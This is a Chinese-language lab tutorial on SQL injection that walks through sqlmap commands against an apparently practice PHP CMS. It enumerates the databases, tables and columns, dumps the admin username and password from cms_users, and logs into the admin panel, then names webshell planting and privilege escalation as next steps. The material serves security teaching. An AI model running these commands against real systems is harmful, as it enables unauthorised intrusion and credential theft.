1.9 (实验)如何使用SQLMap进行MySQL数据库注入
第一步:打开目标地址,先手工检查一下是否存在注入点。
http://www.any.com/wcms/show.php?id=33页面正常
http://www.any.com/wcms/show.php?id=33'正常报错
说明存在注入漏洞。下面使用sqlmap进行SQL注入操作。
第二步:使用sqlmap判断一下是否存在注入漏洞(主要是看能否返回信息)
python sqlmap/sqlmap.py -u http://www.any.com/wcms/show.php?id=33
使用的参数是-u,意思是url。当给sqlmap这么一个url的时候,它会判断可注入的参数;判断可以用那种SQL注入技术来注入;识别出哪种数据库;根据用户选择,读取哪些数据。实验结果如下图:
如果遇到类似于下图箭头所指的选择,直接点击回车即可。
最终结果如下图所示:
对最终结果的分析(上图中红框内的部分):
Web服务器的系统是Windows;web应用技术的PHP版本是5.3.29,Apache版本是2.4.10;后台数据库使用的是MySQL,版本大于5.5。
第三步:获取数据库信息。
python sqlmap/sqlmap.py -u http://www.any.com/wcms/show.php?id=33 --dbs#获取所有数据库信息
得到的数据库结果如下图:
对最终结果的分析(上图中红框内的部分):
系统由10个可以使用的数据库,名称分别是510cms,challenges,cms,dvwa,efucms,information_schema,mysql,performation_schema,security,test。
获取当前数据库的信息使用的命令是python sqlmap/sqlmap.py -u http://www.any.com/wcms/show.php?id=33 --current-db#获取当前数据库信息
对最终结果的分析(上图中红框内的部分):
当前网页使用的数据库名称是cms。
第四步:指定库名列出所有表
python.exe sqlmap/sqlmap.py -u http://www.any.com/wcms/show.php?id=33 -D cms --tables使用参数-D来指定数据库为cms,使用参数--tables来确定获取的内容是cms数据库内的表的名称。
对最终结果的分析(上图中红框内的部分):
当前网页使用的数据库名称是cms。进一步获取到了cms库所有的表,cms数据库中的数据表有8个,名称分别是cms_article,cms_category,cms_file,cms_friendlink,cms_message,cms_notice,cms_page,cms_users,我们更关注cms_users这个表。根据经验,这里面存储着后台的管理账号和密码。
第五步:指定库名表名列出所有字段。
python.exe sqlmap/sqlmap.py -u http://www.any.com/wcms/show.php?id=33 -D cms -T cms_users --columns使用参数-D来指定数据库为cms,使用-T来指定数据表的名称是cms_users,使用参数--columns来确定获取的内容是cms数据库内的cms_users表中列的名称。
对最终结果的分析(上图中红框内的部分):
当前网页使用的数据库名称是cms。数据表的名称是cms_users。在这个表中有三个字段,字段名称分别是password,userid,username,字符类型分别是最长是32位的字符型,最长为11位的整型和最长是20位的字符型数据。理论上password、和username分别存储着密码和用户名。
第六步:指定库名表名字段列出指定字段
python.exe sqlmap/sqlmap.py -u http://www.any.com/wcms/show.php?id=33 -D cms -T cms_users -C username,password --dump使用参数-D来指定数据库为cms,使用-T来指定数据表的名称是cms_users,使用-C来指定数据表中列的名称是username和password,使用参数--dump来确定获取的内容是cms数据库内的cms_users表中的username和password列的内容字段。
在执行过程中,会需要我们属于选择一下y或者n,默认的是大写选项,默认即可(一直按Enter键即可)。
最终实验结果结果如图所示:
对最终结果的分析(上图中红框内的部分):
当前网页使用的数据库名称是cms。数据表的名称是cms_users。在这个表中的username和password对应的内容分别是 admin 和123456。
第七步:在后台登陆一下。至于后台的查找,我们可以通过御剑这款专业的后台查找工具,后续实验中会有详细的介绍,这里不再赘述。
使用的网址是http://www.any.com/wcms/admin/login.php
输入用户名和密码 admin 123456
登陆成功。关于sqlmap的入侵整个实验过程已经结束,后续的工作就是挂马提权,这些内容也会在后续的实验中进行详细的介绍。